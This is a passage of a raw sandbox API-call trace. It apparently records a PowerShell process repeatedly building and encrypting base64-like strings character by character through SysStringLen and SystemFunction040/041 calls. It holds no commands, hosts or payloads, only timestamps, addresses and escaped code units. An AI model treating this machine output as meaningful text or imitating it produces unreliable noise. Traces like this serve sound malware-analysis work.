(param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\xe81\xf123\x7744\x51bc\x6e81\xcfd\xe178\xb43b") returned 0x28 [0135.007] SystemFunction041 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.008] SysStringLen (param_1="6GX+7+ZbDl064oChoDEh36iEPyTX7GuFCDQKAz뽲痢") returned 0x28 [0135.008] SystemFunction040 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.008] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x2ef5\x6933\xec1f\x72b\x5769\x894e\xc3ff\xd2e3") returned 0x28 [0135.008] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x2ef5\x6933\xec1f\x72b\x5769\x894e\xc3ff\xd2e3") returned 0x28 [0135.009] SystemFunction041 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.009] SysStringLen (param_1="6GX+7+ZbDl064oChoDEh36iEPyTX7GuFCDQKAzd痢") returned 0x28 [0135.009] SystemFunction040 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.009] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x3973\xb81\xc4a1\x3576\x2ba0\xcb5b\x4adc\xee1b") returned 0x28 [0135.009] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x3973\xb81\xc4a1\x3576\x2ba0\xcb5b\x4adc\xee1b") returned 0x28 [0135.009] SystemFunction041 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.009] SysStringLen (param_1="6GX+7+ZbDl064oChoDEh36iEPyTX7GuFCDQKAzdt") returned 0x28 [0135.009] SystemFunction040 (in: Memory=0x438391c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438391c) returned 0x0 [0135.009] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x7474\xf166\x31f0\xd9b1\xf351\xfe7c\x8699\x6173") returned 0x28 [0135.009] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x7474\xf166\x31f0\xd9b1\xf351\xfe7c\x8699\x6173") returned 0x28 [0135.009] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x7474\xf166\x31f0\xd9b1\xf351\xfe7c\x8699\x6173") returned 0x28 [0135.009] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x7474\xf166\x31f0\xd9b1\xf351\xfe7c\x8699\x6173\x38\x6d\x64\x7a\x72\x36\x2e\x77") returned 0x30 [0135.009] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.009] SysStringLen (param_1="6GX+7+ZbDl064oChoDEh36iEPyTX7GuFCDQKAzdtB架Ḍ猨뢥ꞻ썡") returned 0x30 [0135.009] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.009] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x7474\xf166\x31f0\xd9b1\xf351\xfe7c\x8699\x6173\x17ee\x62db\x9cca\xf4db\x67cf\x6ea4\xa182\xbfaf") returned 0x30 [0135.009] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x7474\xf166\x31f0\xd9b1\xf351\xfe7c\x8699\x6173\x17ee\x62db\x9cca\xf4db\x67cf\x6ea4\xa182\xbfaf") returned 0x30 [0135.009] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.009] SysStringLen (param_1="6GX+7+ZbDl064oChoDEh36iEPyTX7GuFCDQKAzdtBsḌ猨뢥ꞻ썡") returned 0x30 [0135.009] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.009] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x7474\xf166\x31f0\xd9b1\xf351\xfe7c\x8699\x6173\xe1a2\x2b8a\x3197\xbd34\xadb0\x37a1\xd754\x6469") returned 0x30 [0135.010] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x7474\xf166\x31f0\xd9b1\xf351\xfe7c\x8699\x6173\xe1a2\x2b8a\x3197\xbd34\xadb0\x37a1\xd754\x6469") returned 0x30 [0135.010] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.010] SysStringLen (param_1="6GX+7+ZbDl064oChoDEh36iEPyTX7GuFCDQKAzdtBs0猨뢥ꞻ썡") returned 0x30 [0135.010] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.010] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x7474\xf166\x31f0\xd9b1\xf351\xfe7c\x8699\x6173\x16eb\xbca3\x81da\x3cb9\x4549\x855b\xe972\xc2b7") returned 0x30 [0135.010] SysStringLen (param_1="\xfb72\xa867\xfad3\x6f31\x7bef\x393b\xd54\x10eb\x30d8\x25a6\xfe6d\x50e4\x6294\xea36\x76e0\x251c\x638b\xd39a\x4d17\xafbc\x4b5e\x9d7a\xde1d\xce9\xb9d8\xb9b7\xf899\x3cd5\x7fcf\x9753\xf1f6\x92c1\x7474\xf166\x31f0\xd9b1\xf351\xfe7c\x8699\x6173\x16eb\xbca3\x81da\x3cb9\x4549\x855b\xe972\xc2b7") returned 0x30 [0135.010] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.010] SysStringLen (param_1="6GX+7+ZbDl064oChoDEh36iEPyTX7GuFCDQKAzdtBs0=뢥ꞻ썡") returned 0x30 [0135.010] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0135.010] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.010] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.010] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.010] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0135.010] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.010] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.010] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.010] SysStringLen (param_1="") returned 0x8 [0135.011] SysStringLen (param_1="Y") returned 0x8 [0135.011] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.011] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.011] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.011] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.011] SysStringLen (param_1="YW") returned 0x8 [0135.011] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.011] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.011] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.011] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.011] SysStringLen (param_1="YWM") returned 0x8 [0135.011] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.011] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.011] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.011] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.011] SysStringLen (param_1="YWM1") returned 0x8 [0135.011] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.011] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.011] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.011] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.011] SysStringLen (param_1="YWM1O") returned 0x8 [0135.012] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.012] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.012] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.012] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.012] SysStringLen (param_1="YWM1OT") returned 0x8 [0135.012] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.012] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.012] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.012] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.012] SysStringLen (param_1="YWM1OTE") returned 0x8 [0135.012] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.012] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.012] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.012] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.012] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0135.012] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.012] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.012] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.012] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.012] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0135.013] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.013] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0135.013] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.013] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.013] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.013] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.013] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0135.013] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.013] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.013] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.013] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.013] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0135.013] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.013] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.013] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.013] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.013] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0135.013] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.013] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.013] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.014] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.014] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0135.014] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.014] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.014] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.014] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.014] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0135.014] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.014] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.014] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.014] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.014] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0135.014] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.014] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.014] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.014] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.014] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0135.014] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.014] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.014] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.015] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.015] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0135.015] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.015] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0135.015] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.015] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.015] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.015] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.015] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0135.015] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.015] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.015] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.015] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.015] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0135.015] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.015] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.015] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.015] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.015] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0135.015] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.016] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.016] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.016] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.016] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0135.016] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.016] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.016] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.016] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) 